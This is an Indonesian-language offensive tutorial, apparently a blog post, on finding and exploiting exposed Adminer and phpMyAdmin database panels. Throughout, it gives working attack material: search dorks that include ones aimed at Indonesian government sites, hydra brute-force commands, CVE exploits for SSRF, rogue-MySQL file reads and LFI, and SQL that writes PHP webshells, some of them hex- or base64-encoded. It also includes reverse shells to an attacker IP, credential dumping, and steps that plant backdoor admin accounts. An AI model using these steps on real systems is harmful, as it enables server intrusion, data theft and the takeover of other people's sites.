Exposed Database Panels: Adminer & phpMyAdmin
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Menemukan Panel yang Terekspos
- Bab 2 — Eksploitasi Adminer
- Bab 3 — Eksploitasi phpMyAdmin
- Bab 4 — Post-Exploitation
Bab 1 — Menemukan Panel yang Terekspos
1.1 Apa itu Adminer & phpMyAdmin
| Tool | Deskripsi | File |
|---|---|---|
| Adminer | Database management dalam 1 file PHP. Support MySQL, PostgreSQL, SQLite, MS SQL, Oracle | adminer.php (single file) |
| phpMyAdmin | Web interface untuk MySQL/MariaDB. Lebih lengkap, lebih berat | Folder /phpmyadmin/ |
Keduanya digunakan developer untuk mengelola database via browser. Masalahnya — sering lupa dihapus atau tidak dilindungi di production server.
1.2 Mengapa Sering Terekspos
- Developer deploy untuk debugging, lupa hapus
- Hosting shared (cPanel, DirectAdmin) otomatis install phpMyAdmin
- Docker compose meng-expose port tanpa auth
- Tidak ada firewall rule yang membatasi akses
.htaccess/ nginx config tidak melindungi path
1.3 Dorking: Google
# Adminer
inurl:adminer.php
intitle:"Adminer" inurl:adminer
intitle:"Login - Adminer"
inurl:adminer.php "MySQL" "Login"
inurl:adminer.php ext:php
# phpMyAdmin
inurl:phpmyadmin intitle:"phpMyAdmin"
intitle:"phpMyAdmin" "Welcome to phpMyAdmin"
inurl:"/phpmyadmin/index.php"
inurl:pma intitle:phpMyAdmin
intitle:"phpMyAdmin" "Server: localhost"
intitle:"phpMyAdmin" "Log in" inurl:phpmyadmin
# Targeted (specific TLD/domain)
site:target.com inurl:adminer
site:target.com inurl:phpmyadmin
site:.id inurl:adminer.php
site:.go.id inurl:phpmyadmin1.4 Dorking: Shodan
1# Adminer
2shodan search "Adminer" "Login" --fields ip_str,port,org
3shodan search 'http.title:"Adminer" http.html:"Login"'
4shodan search 'http.title:"Login - Adminer"'
5
6# phpMyAdmin
7shodan search 'http.title:"phpMyAdmin"'
8shodan search 'http.title:"phpMyAdmin" http.html:"Welcome"'
9shodan search 'http.title:"phpMyAdmin" country:"ID"'
10
11# CLI bulk
12shodan download results 'http.title:"phpMyAdmin"'
13shodan parse --fields ip_str,port results.json.gz1.5 Dorking: FOFA / Censys / ZoomEye
# FOFA (fofa.info)
title="Adminer" && body="Login"
title="phpMyAdmin" && country="ID"
body="adminer.php" && status_code="200"
# Censys (search.censys.io)
services.http.response.html_title: "phpMyAdmin"
services.http.response.html_title: "Adminer"
# ZoomEye (zoomeye.org)
title:"phpMyAdmin" +country:"ID"
title:"Adminer" +after:"2024-01-01"1.6 Nuclei Templates
1# Scan single target
2nuclei -u https://target.com -t http/exposed-panels/adminer-panel-detect.yaml
3nuclei -u https://target.com -t http/exposed-panels/phpmyadmin-panel.yaml
4
5# Scan dari file
6nuclei -l targets.txt -t http/exposed-panels/ -tags panel
7
8# Scan semua exposed panel sekaligus
9nuclei -l targets.txt -tags panel,phpmyadmin,adminer
10
11# Custom path bruteforce + detect
12nuclei -l targets.txt -t http/exposed-panels/ -t http/misconfiguration/1.7 Manual Discovery via Path Bruteforce
Path umum yang perlu dicek:
Adminer:
/adminer.php
/adminer/
/adminer/adminer.php
/adminer-4.8.1.php
/adminer-4.7.8.php
/_adminer.php
/db.php
/database.php
/dbadmin.php
/sql.php
/admin/adminer.php
/tools/adminer.php
/vendor/adminer/adminer/adminer.phpphpMyAdmin:
/phpmyadmin/
/phpmyadmin/index.php
/pma/
/PMA/
/phpMyAdmin/
/phpMyAdmin/index.php
/mysql/
/myadmin/
/dbadmin/
/sql/
/admin/pma/
/admin/phpmyadmin/
/tools/phpmyadmin/
/cpanel/phpmyadmin/Bruteforce dengan ffuf:
1# Wordlist khusus db panels
2cat > /tmp/dbpanels.txt << 'EOF'
3adminer.php
4adminer/
5adminer/adminer.php
6phpmyadmin/
7phpMyAdmin/
8pma/
9PMA/
10myadmin/
11mysql/
12dbadmin/
13sql.php
14db.php
15database.php
16EOF
17
18ffuf -u https://target.com/FUZZ -w /tmp/dbpanels.txt -mc 200,301,302,401,403Bab 2 — Eksploitasi Adminer
2.1 Versi & Kerentanan
| Versi | CVE | Kerentanan |
|---|---|---|
| < 4.7.9 | CVE-2021-21311 | SSRF via redirect |
| < 4.7.8 | - | Rogue MySQL Server → arbitrary file read |
| < 4.6.3 | CVE-2018-7667 | SSRF |
| Semua versi | - | Login ke arbitrary MySQL server (by design) |
Cek versi Adminer:
- Biasanya tertulis di halaman login: “Adminer 4.8.1”
- Atau di source HTML:
<title>Login - Adminer</title> - Footer: “Adminer 4.x.x for MySQL”
2.2 Default / Weak Credentials
Adminer sendiri tidak punya credentials — dia login ke database server. Yang perlu dicoba:
# MySQL default
root : (kosong)
root : root
root : mysql
root : password
root : toor
admin : admin
mysql : mysql
# MariaDB (sering tanpa password di localhost)
root : (kosong)
# Hosting panels (cPanel dll)
# Username biasanya = nama database = nama cpanel user
# Format: prefix_dbnameBrute force:
1# Hydra terhadap Adminer form
2hydra -l root -P /usr/share/wordlists/rockyou.txt \
3 target.com http-post-form \
4 "/adminer.php:auth[driver]=server&auth[server]=localhost&auth[username]=^USER^&auth[password]=^PASS^&auth[db]=:F=Invalid credentials"2.3 CVE-2021-21311 — SSRF
Adminer < 4.7.9 — bisa SSRF via redirect saat connect ke database server.
1# 1. Setup redirect server di VPS attacker
2# redirect.py
3cat > /tmp/redirect.py << 'PYEOF'
4from http.server import HTTPServer, BaseHTTPRequestHandler
5class Handler(BaseHTTPRequestHandler):
6 def do_GET(self):
7 self.send_response(301)
8 # Redirect ke internal service
9 self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
10 self.end_headers()
11HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
12PYEOF
13python3 /tmp/redirect.py
14
15# 2. Di Adminer, set server ke: attacker-ip
16# Adminer akan follow redirect → SSRF ke internalTarget SSRF yang berguna:
http://127.0.0.1:6379/ → Redis
http://169.254.169.254/ → Cloud metadata (AWS/GCP)
http://127.0.0.1:9200/ → Elasticsearch
http://internal-host:8080/ → Internal web apps2.4 Adminer File Read (Rogue MySQL Server)
Teknik paling powerful untuk Adminer < 4.7.8. Adminer akan mengirim file dari server target ke MySQL server yang kamu kontrol.
Cara kerja: MySQL protocol punya fitur LOAD DATA LOCAL INFILE — server bisa minta client (Adminer) mengirim file apapun.
1# 1. Setup Rogue MySQL Server di VPS attacker
2# Gunakan tool: https://github.com/allyshka/Rogue-MySql-Server
3
4git clone https://github.com/allyshka/Rogue-MySql-Server
5cd Rogue-MySql-Server
6
7# Edit config — file apa yang mau dibaca dari target
8# rogue_mysql_server.py → set filelist:
9# /etc/passwd
10# /var/www/html/wp-config.php
11# /etc/shadow
12# /proc/self/environ
13
14python3 rogue_mysql_server.py
15
16# 2. Di halaman Adminer target:
17# Server: attacker-ip
18# Username: root
19# Password: (apapun)
20# Database: (kosong)
21# Klik Login
22
23# 3. Adminer connect ke rogue server
24# Rogue server minta LOAD DATA LOCAL INFILE
25# Adminer kirim isi file dari server target
26# File tersimpan di log rogue serverFile yang menarik untuk dibaca:
# Web app config
/var/www/html/wp-config.php # WordPress
/var/www/html/.env # Laravel/generic
/var/www/html/config/database.yml # Rails
/var/www/html/application/config/database.php # CodeIgniter
/var/www/html/app/etc/env.php # Magento
/var/www/html/sites/default/settings.php # Drupal
# System files
/etc/passwd
/etc/shadow # kalau Adminer jalan sebagai root
/etc/hostname
/proc/self/environ # environment variables
/proc/self/cmdline
# SSH keys
/root/.ssh/id_rsa
/home/www-data/.ssh/id_rsa
# Database config
/etc/mysql/debian.cnf # Debian MySQL default creds
/etc/my.cnf2.5 Login tanpa Password (MySQL Empty Root)
Banyak MySQL/MariaDB yang dikonfigurasi tanpa password untuk root di localhost. Jika Adminer terekspos di server yang sama:
Server: localhost
Username: root
Password: (kosong)
Database: (kosong atau mysql)Variasi:
Server: 127.0.0.1
Server: localhost:3306
Server: localhost:/var/run/mysqld/mysqld.sockJika berhasil login → lanjut ke section 2.6.
2.6 Post-Login: Database ke Shell
Setelah berhasil login ke database via Adminer:
a) Enumerasi Webroot Path
Sebelum menulis webshell, kamu harus tahu di mana document root web server. Jangan asal tebak — gunakan SQL untuk meraba path yang benar.
Dari MySQL variables & status:
1-- Datadir (bukan webroot, tapi jadi referensi)
2SELECT @@datadir;
3-- /var/lib/mysql/
4
5-- Hostname (menunjukkan OS & kemungkinan distro)
6SELECT @@hostname;
7
8-- Basedir MySQL
9SELECT @@basedir;
10-- /usr/ (Debian/Ubuntu) atau /usr/local/mysql/ (manual install)
11
12-- OS yang dipakai
13SELECT @@version_compile_os;
14-- Linux, debian-linux-gnu, Win64, dll
15
16-- Plugin dir (menunjukkan struktur direktori server)
17SHOW VARIABLES LIKE 'plugin_dir';
18-- /usr/lib/mysql/plugin/ → kemungkinan Debian/Ubuntu
19-- /usr/lib64/mysql/plugin/ → kemungkinan CentOS/RHEL
20
21-- Tmpdir (fallback untuk write file)
22SELECT @@tmpdir;
23-- /tmp biasanya selalu writable
24
25-- Cek secure_file_priv
26SHOW VARIABLES LIKE 'secure_file_priv';
27-- Kosong = write kemana saja
28-- /var/lib/mysql-files/ = hanya bisa write ke sana
29-- NULL = tidak bisa write sama sekaliBaca file konfigurasi web server langsung (jika punya FILE privilege):
1-- ========== Apache ==========
2-- Debian/Ubuntu
3SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
4SELECT LOAD_FILE('/etc/apache2/sites-enabled/default-ssl.conf');
5SELECT LOAD_FILE('/etc/apache2/apache2.conf');
6
7-- CentOS/RHEL
8SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
9SELECT LOAD_FILE('/etc/httpd/conf.d/ssl.conf');
10
11-- Cari DocumentRoot di output:
12-- DocumentRoot /var/www/html
13-- DocumentRoot /home/user/public_html
14
15-- ========== Nginx ==========
16SELECT LOAD_FILE('/etc/nginx/nginx.conf');
17SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
18SELECT LOAD_FILE('/etc/nginx/conf.d/default.conf');
19
20-- Cari root directive di output:
21-- root /var/www/html;
22-- root /usr/share/nginx/html;
23
24-- ========== cPanel ==========
25SELECT LOAD_FILE('/etc/apache2/conf/httpd.conf');
26SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
27-- DocumentRoot biasanya /home/<username>/public_html
28
29-- ========== Plesk ==========
30SELECT LOAD_FILE('/etc/apache2/plesk.conf.d/vhosts/*.conf');
31-- DocumentRoot /var/www/vhosts/<domain>/httpdocs
32
33-- ========== XAMPP / LAMP ==========
34SELECT LOAD_FILE('/opt/lampp/etc/httpd.conf');
35-- DocumentRoot /opt/lampp/htdocsBaca file konfigurasi aplikasi (untuk temukan base path):
1-- WordPress
2SELECT LOAD_FILE('/var/www/html/wp-config.php');
3
4-- Laravel (.env)
5SELECT LOAD_FILE('/var/www/html/.env');
6SELECT LOAD_FILE('/var/www/laravel/.env');
7
8-- CMS config umum
9SELECT LOAD_FILE('/var/www/html/configuration.php'); -- Joomla
10SELECT LOAD_FILE('/var/www/html/sites/default/settings.php'); -- Drupal
11SELECT LOAD_FILE('/var/www/html/config/config.php'); -- Generic
12
13-- Proc cmdline (lihat proses web server dan path)
14SELECT LOAD_FILE('/proc/self/cmdline');
15
16-- /etc/passwd (cari user web & home dir)
17SELECT LOAD_FILE('/etc/passwd');
18-- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19-- → webroot kemungkinan di /var/www/ atau /var/www/html/Probing path via error — tulis ke berbagai lokasi, cek mana yang berhasil:
1-- Tulis test file ke kandidat path, cek response
2SELECT 'test' INTO OUTFILE '/var/www/html/test.txt';
3SELECT 'test' INTO OUTFILE '/var/www/test.txt';
4SELECT 'test' INTO OUTFILE '/usr/share/nginx/html/test.txt';
5SELECT 'test' INTO OUTFILE '/home/www/public_html/test.txt';
6SELECT 'test' INTO OUTFILE '/srv/www/htdocs/test.txt';
7SELECT 'test' INTO OUTFILE '/opt/lampp/htdocs/test.txt';
8
9-- Cek masing-masing:
10-- curl -s https://target.com/test.txt
11-- Yang return "test" = webroot ditemukanDari database itu sendiri (jika ada CMS terinstall):
1-- WordPress: ambil siteurl
2SELECT option_value FROM wp_options WHERE option_name = 'siteurl';
3SELECT option_value FROM wp_options WHERE option_name = 'home';
4-- https://target.com → webroot biasanya /var/www/html/
5
6-- WordPress: cek upload path
7SELECT option_value FROM wp_options WHERE option_name = 'upload_path';
8
9-- Joomla
10SELECT value FROM jos_extensions WHERE name = 'com_media';
11
12-- Laravel: ambil path dari sessions atau cache table
13SELECT payload FROM sessions LIMIT 1;
14
15-- Drupal
16SELECT value FROM variable WHERE name = 'file_public_path';Tabel referensi webroot berdasarkan OS & web server:
| OS / Server | Webroot Path |
|---|---|
| Ubuntu/Debian + Apache | /var/www/html/ |
| Ubuntu/Debian + Nginx | /var/www/html/ atau /usr/share/nginx/html/ |
| CentOS/RHEL + Apache | /var/www/html/ |
| CentOS/RHEL + Nginx | /usr/share/nginx/html/ |
| openSUSE + Apache | /srv/www/htdocs/ |
| Arch Linux | /srv/http/ |
| FreeBSD + Apache | /usr/local/www/apache24/data/ |
| cPanel | /home/<user>/public_html/ |
| Plesk | /var/www/vhosts/<domain>/httpdocs/ |
| XAMPP | /opt/lampp/htdocs/ |
| WAMP (Windows) | C:/wamp64/www/ |
| MAMP (macOS) | /Applications/MAMP/htdocs/ |
| Docker (bitnami) | /opt/bitnami/wordpress/ atau /app/ |
| Laravel | /var/www/html/public/ (symlink ke storage) |
| Symfony | /var/www/html/public/ |
| CodeIgniter | /var/www/html/ |
Subdirectory yang sering writable (lebih aman untuk write):
1-- Upload directories (biasanya chmod 777 atau writable oleh www-data)
2SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php';
3SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/wp-content/uploads/shell.php';
4SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/images/shell.php';
5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/media/shell.php';
6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmp/shell.php';
7SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cache/shell.php';
8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/assets/shell.php';
9SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/storage/shell.php';
10SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/public/uploads/shell.php';b) SELECT INTO OUTFILE (Webshell)
Setelah tahu webroot, tulis webshell:
1-- Cek privilege
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Tulis webshell
5SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Akses: https://target.com/shell.php?cmd=id
File Ownership & Permission:
File yang ditulis MySQL (INTO OUTFILE maupun General Log) dimiliki oleh user OS yang menjalankan proses mysqld:
| Distro | User | Group |
|---|---|---|
| Debian/Ubuntu | mysql | mysql |
| RHEL/CentOS | mysql | mysql |
| Alpine/Docker | mysql | mysql |
INTO OUTFILE membuat file dengan permission 0666 (rw-rw-rw-) — world-readable, sehingga web server (www-data, apache, nginx) tetap bisa membaca dan meng-execute file PHP tersebut.
Kondisi yang bisa menyebabkan gagal:
| Kondisi | Penjelasan | Cek |
|---|---|---|
secure_file_priv | Membatasi direktori tujuan write | SHOW VARIABLES LIKE 'secure_file_priv'; |
| AppArmor/SELinux | Policy blokir mysqld menulis ke luar /var/lib/mysql/ | aa-status atau getenforce |
| Directory permission | Direktori target harus writable oleh user mysql (minimal o+wx) | Coba tulis ke beberapa path |
| File sudah ada | INTO OUTFILE menolak overwrite file existing | Gunakan nama file unik |
| Read-only filesystem | Container atau mount read-only | Cari direktori writable (/tmp, /var/tmp) |
1-- Verifikasi: cek user yang menjalankan MySQL
2SELECT USER(), CURRENT_USER();
3SHOW VARIABLES LIKE 'secure_file_priv';
4
5-- Jika secure_file_priv tidak kosong, file hanya bisa ditulis ke direktori itu
6-- Jika nilainya NULL → INTO OUTFILE dinonaktifkan sepenuhnya
7-- Jika nilainya kosong ('') → bebas tulis kemana sajaTips: Jika
INTO OUTFILEdiblokir, gunakan General Log trick (lihat bagian berikutnya) — file yang ditulis via General Log memiliki ownership dan permission yang sama (mysql:mysql), tapi tidak dibatasi olehsecure_file_priv.
Masalah Quote pada Payload Panjang:
Payload sederhana seperti di atas mudah ditulis. Tapi jika PHP payload lebih kompleks (file manager, reverse shell, dll), quote akan bentrok antara SQL string dan PHP string. Berikut teknik encoding untuk menghindari masalah ini:
Teknik 1: Hex Encoding (Paling Reliable)
MySQL bisa menulis raw bytes dari hex literal — tanpa quote sama sekali:
1-- Contoh: <?php system($_GET["cmd"]); ?>
2-- Konversi ke hex:
3SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO OUTFILE '/var/www/html/shell.php';Untuk payload panjang, generate hex string dari terminal:
1# Dari file PHP lokal
2xxd -p payload.php | tr -d '\n' | sed 's/^/0x/'
3
4# Inline one-liner
5echo -n '<?php eval($_POST["x"]); ?>' | xxd -p | tr -d '\n' | sed 's/^/0x/'Contoh payload kompleks (reverse shell):
1-- <?php $sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
2SELECT 0x3C3F70687020247363636B3D66736F636B6F70656E282231302E31302E31342E31222C34343434293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B203F3E
3INTO OUTFILE '/var/www/html/rs.php';Teknik 2: CHAR() Function
Bangun string dari ASCII code — berguna untuk payload pendek-menengah:
1-- <?php system($_GET["cmd"]); ?>
2SELECT CHAR(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62)
3INTO OUTFILE '/var/www/html/shell.php';Generate CHAR sequence dari terminal:
1echo -n '<?php system($_GET["cmd"]); ?>' | od -An -td1 | tr ' ' ',' | sed 's/^,//;s/,$//'Teknik 3: CONCAT() + Escape
Pecah string menjadi bagian-bagian untuk menghindari bentrok quote:
1-- Gunakan single quote di SQL, escape internal single quote
2SELECT CONCAT(
3 '<?php ',
4 'eval(base64_decode($_POST[',
5 CHAR(34), 'x', CHAR(34), -- double quote via CHAR()
6 ']));',
7 ' ?>'
8) INTO OUTFILE '/var/www/html/shell.php';Teknik 4: Base64 Wrapper (Payload Panjang)
Tulis PHP kecil yang decode+eval base64 — payload asli disimpan sebagai base64 string tanpa karakter bermasalah:
1-- Wrapper kecil yang decode payload asli
2SELECT '<?php eval(base64_decode("aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpe2VjaG8gIjxwcmU+IjtzeXn0ZW0oJF9SRVFVRVNUWydjbWQnXSk7ZWNobyAiPC9wcmU+Ijtka2UoKTt9")); ?>'
3INTO OUTFILE '/var/www/html/shell.php';Generate base64 dari terminal:
1# Encode payload PHP (tanpa tag <?php ?>)
2echo -n 'if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";die();}' | base64 -w0Lalu masukkan ke wrapper:
1-- Wrapper tidak mengandung double-quote jadi aman
2SELECT CONCAT('<?php eval(base64_decode("', 'PASTE_BASE64_HERE', '")); ?>') INTO OUTFILE '/var/www/html/shell.php';Teknik 5: Hex + UNHEX() untuk General Log
Jika menggunakan General Log trick, hex juga bisa dipakai:
1SET global general_log = ON;
2SET global general_log_file = '/var/www/html/shell.php';
3
4-- Query hex langsung masuk ke log sebagai binary
5SELECT UNHEX('3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E');
6
7SET global general_log = OFF;Catatan: General Log menulis query apa adanya ke file, jadi
UNHEX()akan menulis hasil decode (raw PHP) ke log file.
Ringkasan Teknik Encoding:
| Teknik | Kelebihan | Kekurangan |
|---|---|---|
Hex (0x...) | Tanpa quote, paling reliable | String panjang, susah dibaca |
| CHAR() | Mudah dipahami | Verbose untuk payload panjang |
| CONCAT() | Fleksibel, bisa mix teknik | Perlu hati-hati struktur |
| Base64 wrapper | Payload berapapun panjangnya aman | Butuh eval() di PHP |
| UNHEX() | Untuk General Log trick | Hanya untuk General Log |
Tips: Untuk payload production, gunakan Hex Encoding (Teknik 1) — paling reliable, tidak ada masalah quote, dan bekerja di semua versi MySQL/MariaDB.
b) General Log Trick
Jika INTO OUTFILE diblokir oleh secure_file_priv:
1-- Aktifkan general log dan arahkan ke webroot
2SET global general_log = ON;
3SET global general_log_file = '/var/www/html/shell.php';
4
5-- Jalankan query yang mengandung PHP
6SELECT '<?php system($_GET["cmd"]); ?>';
7
8-- Matikan log
9SET global general_log = OFF;c) UDF (User Defined Function) — RCE langsung
1-- Cek plugin dir
2SHOW VARIABLES LIKE 'plugin_dir';
3-- Biasanya /usr/lib/mysql/plugin/
4
5-- Upload UDF shared library ke plugin dir
6-- (butuh binary .so yang kompatibel)
7
8-- Buat function
9CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
10SELECT sys_exec('id > /tmp/output.txt');
11SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');Bab 3 — Eksploitasi phpMyAdmin
3.1 Versi & Kerentanan
| Versi | CVE | Kerentanan |
|---|---|---|
| 4.8.0 - 4.8.1 | CVE-2018-12613 | Local File Inclusion |
| 4.0.x - 4.6.x | CVE-2016-5734 | RCE via preg_replace /e modifier |
| 4.8.x | CVE-2018-19968 | LFI via transformation |
| 2.x - 4.0.x | CVE-2009-1151 | RCE via config setup script |
| < 5.1.2 | CVE-2023-25727 | XSS to RCE |
| Semua | - | Weak/default credentials + SQL exploitation |
Cek versi: biasanya terlihat di halaman login atau footer setelah login.
3.2 Default / Weak Credentials
# Default
root : (kosong)
root : root
root : mysql
root : password
pma : (kosong)
phpmyadmin : (kosong)
# cPanel default (username = cpanel username)
# Plesk default
admin : admin_password_dari_panel
# Docker default (bitnami/phpmyadmin)
root : (kosong)
root : rootBrute force:
1hydra -l root -P /usr/share/wordlists/rockyou.txt \
2 target.com http-post-form \
3 "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:F=Cannot log in"3.3 CVE-2018-12613 — Local File Inclusion
phpMyAdmin 4.8.0 - 4.8.1 — LFI tanpa autentikasi.
1# Baca /etc/passwd
2curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd"
3
4# Baca config phpMyAdmin (berisi credentials)
5curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/phpmyadmin/config-db.php"
6
7# Baca wp-config.php
8curl -sk "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../var/www/html/wp-config.php"LFI to RCE (via PHP session):
1# 1. Login ke phpMyAdmin (dengan creds apapun)
2# 2. Execute SQL query yang mengandung PHP code:
3SELECT '<?php system($_GET["cmd"]); ?>'
4
5# 3. Query tersimpan di session file
6# 4. Include session file via LFI:
7curl -sk -b "phpMyAdmin=SESSION_ID" \
8 "https://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../tmp/sess_SESSION_ID&cmd=id"3.4 CVE-2016-5734 — RCE via preg_replace
phpMyAdmin 4.0.x - 4.6.x — RCE jika sudah login.
1# Gunakan exploit script
2python3 cve-2016-5734.py -u root -p "" \
3 "https://target.com/phpmyadmin/" \
4 -c "system('id')"Manual via SQL:
1-- Di phpMyAdmin SQL tab, jalankan:
2-- Buat table dengan payload
3CREATE TABLE IF NOT EXISTS pma_rce (code TEXT);
4INSERT INTO pma_rce VALUES ('<?php system($_GET["cmd"]); ?>');
5
6-- Trigger via export/search dengan regex /e modifier (versi lama PHP)3.5 Post-Login: SQL Query ke Webshell
Setelah login ke phpMyAdmin, bisa langsung jalankan SQL:
1-- Cek privilege
2SHOW GRANTS;
3
4-- Cek secure_file_priv
5SHOW VARIABLES LIKE 'secure_file_priv';
6
7-- Jika kosong → tulis webshell
8SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';3.6 Post-Login: SELECT INTO OUTFILE
Sama seperti Adminer, tapi via phpMyAdmin interface:
- Buka tab SQL
- Jalankan:
1SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Jika secure_file_priv memblokir:
1-- Cek nilainya
2SHOW VARIABLES LIKE 'secure_file_priv';
3
4-- Jika ada path misal /var/lib/mysql-files/
5-- Tulis ke sana, lalu akses via LFI lain atau symlink
6SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';Alternatif path webroot yang umum:
1-- Apache
2'/var/www/html/shell.php'
3'/var/www/shell.php'
4'/srv/www/htdocs/shell.php'
5
6-- Nginx
7'/usr/share/nginx/html/shell.php'
8'/var/www/html/shell.php'
9
10-- cPanel
11'/home/username/public_html/shell.php'
12
13-- Plesk
14'/var/www/vhosts/domain.com/httpdocs/shell.php'
15
16-- XAMPP / WAMP
17'/opt/lampp/htdocs/shell.php'
18'C:/xampp/htdocs/shell.php'3.7 Post-Login: General Log Trick
Jika INTO OUTFILE tidak bisa:
1-- Cek status general log saat ini
2SHOW VARIABLES LIKE 'general_log%';
3
4-- Arahkan log ke webroot
5SET global general_log_file = '/var/www/html/backdoor.php';
6SET global general_log = ON;
7
8-- Trigger log entry berisi PHP
9SELECT '<?php system($_GET["cmd"]); ?>';
10
11-- Matikan
12SET global general_log = OFF;Akses: https://target.com/backdoor.php?cmd=id
Catatan: Butuh privilege SUPER atau SET untuk mengubah global variables.
Bab 4 — Post-Exploitation
4.1 Dari Database Access ke Data Dump
Setelah login ke database panel, prioritas pertama — dump data sensitif:
1-- List semua database
2SHOW DATABASES;
3
4-- Cari tabel user/credentials
5SELECT table_schema, table_name FROM information_schema.tables
6WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%'
7 OR table_name LIKE '%account%' OR table_name LIKE '%login%'
8 OR table_name LIKE '%credential%' OR table_name LIKE '%member%';
9
10-- Dump user table (contoh WordPress)
11SELECT user_login, user_pass, user_email FROM wp_users;
12
13-- Dump user table (contoh Laravel)
14SELECT name, email, password FROM users;
15
16-- Cari kolom yang mengandung password/secret
17SELECT table_schema, table_name, column_name FROM information_schema.columns
18WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%'
19 OR column_name LIKE '%token%' OR column_name LIKE '%key%'
20 OR column_name LIKE '%credit_card%' OR column_name LIKE '%ssn%';
21
22-- Export via phpMyAdmin: Database → Export → SQL/CSV
23-- Export via Adminer: Select → Export4.2 Dari Database ke Shell (RCE)
Prioritas kedua — dapatkan shell di server:
Metode 1: INTO OUTFILE → webshell (butuh FILE privilege + secure_file_priv kosong)
Metode 2: General Log → webshell (butuh SUPER privilege)
Metode 3: UDF → system command (butuh FILE + INSERT + plugin dir writable)
Metode 4: Rogue MySQL (Adminer) → file read → cari creds → SSH/login panelCek privilege kamu:
1-- Semua privilege
2SHOW GRANTS;
3SHOW GRANTS FOR CURRENT_USER();
4
5-- Cek user & host
6SELECT user(), current_user();
7
8-- Cek apakah FILE privilege ada
9SELECT privilege_type FROM information_schema.user_privileges
10WHERE grantee = CONCAT("'", REPLACE(CURRENT_USER(), '@', "'@'"), "'")
11 AND privilege_type = 'FILE';4.3 Privilege Escalation dari MySQL User
Jika hanya punya akses database user biasa (bukan root):
1-- Cek semua user MySQL
2SELECT user, host, authentication_string FROM mysql.user;
3-- Jika bisa baca tabel ini → crack hash → login sebagai root
4
5-- MySQL 5.x hash = SHA1(SHA1(password))
6-- Crack dengan hashcat:
7-- hashcat -m 300 hash.txt rockyou.txt
8
9-- Cek user dengan GRANT ALL
10SELECT * FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';Dari database credentials ke system access:
1-- Baca MySQL config (mungkin ada password)
2SHOW VARIABLES LIKE '%password%';
3
4-- Baca replication credentials
5SHOW SLAVE STATUS\G
6-- Master_User + password bisa dipakai ke server lain4.4 Pivot ke Aplikasi Web
Setelah punya akses database, bisa take over aplikasi web yang menggunakan DB tersebut:
WordPress
1-- Ganti password admin
2UPDATE wp_users SET user_pass = MD5('hacked123') WHERE user_login = 'admin';
3
4-- Atau buat admin baru
5INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, user_status)
6VALUES ('backdoor', MD5('hacked123'), 'hacker@test.com', NOW(), 0);
7
8INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
9VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
10
11INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
12VALUES (LAST_INSERT_ID(), 'wp_user_level', '10');
13
14-- Setelah login WP admin → Appearance → Theme Editor → edit 404.php → webshellLaravel
1-- Laravel pakai bcrypt, generate hash dulu:
2-- php -r "echo password_hash('hacked123', PASSWORD_BCRYPT);"
3-- Hasilnya: $2y$10$xxx...
4
5UPDATE users SET password = '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi'
6WHERE email = 'admin@target.com';
7-- Password: password (ini default hash dari Laravel factory)Drupal
1-- Drupal 8/9/10 pakai Phpass
2-- Generate: php -r "echo \Drupal\Core\Password\PhpassHashedPassword::hash('hacked123');"
3
4UPDATE users_field_data SET pass = '$S$DxxxxxxHASHxxxxxx' WHERE uid = 1;Custom Application
1-- Cari tipe hash yang dipakai
2SELECT password FROM users LIMIT 1;
3
4-- MD5 (32 char hex)
5UPDATE users SET password = MD5('hacked123') WHERE username = 'admin';
6
7-- SHA256
8UPDATE users SET password = SHA2('hacked123', 256) WHERE username = 'admin';
9
